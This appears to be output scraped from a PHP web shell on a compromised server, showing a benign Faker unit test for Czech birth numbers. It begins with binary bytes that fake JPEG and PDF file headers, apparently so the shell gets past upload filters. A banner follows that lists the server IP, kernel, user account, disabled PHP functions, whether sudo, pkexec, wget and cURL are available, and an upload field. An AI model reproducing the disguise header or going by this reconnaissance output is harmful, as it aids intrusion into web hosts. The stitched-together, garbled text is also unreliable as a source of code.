ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.185 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/vendor/fzaninotto/faker/test/Faker/Provider/cs_CZ/ |
Upload File : |
<?php namespace Faker\Test\Provider\cs_CZ; use Faker\Generator; use Faker\Provider\cs_CZ\Person; use Faker\Provider\Miscellaneous; class PersonTest extends \PHPUnit_Framework_TestCase { public function testBirthNumber() { $faker = new Generator(); $faker->addProvider(new Person($faker)); $faker->addProvider(new Miscellaneous($faker)); for ($i = 0; $i < 1000; $i++) { $birthNumber = $faker->birthNumber(); $birthNumber = str_replace('/', '', $birthNumber); // check date $year = intval(substr($birthNumber, 0, 2), 10); $month = intval(substr($birthNumber, 2, 2), 10); $day = intval(substr($birthNumber, 4, 2), 10); // make 4 digit year from 2 digit representation $year += $year < 54 ? 2000 : 1900; // adjust special cases for month if ($month > 50) $month -= 50; if ($year >= 2004 && $month > 20) $month -= 20; $this->assertTrue(checkdate($month, $day, $year), "Birth number $birthNumber: date $year/$month/$day is invalid."); // check CRC if presented if (strlen($birthNumber) == 10) { $crc = intval(substr($birthNumber, -1), 10); $refCrc = intval(substr($birthNumber, 0, -1), 10) % 11; if ($refCrc == 10) { $refCrc = 0; } $this->assertEquals($crc, $refCrc, "Birth number $birthNumber: checksum $crc doesn't match expected $refCrc.");; } } } }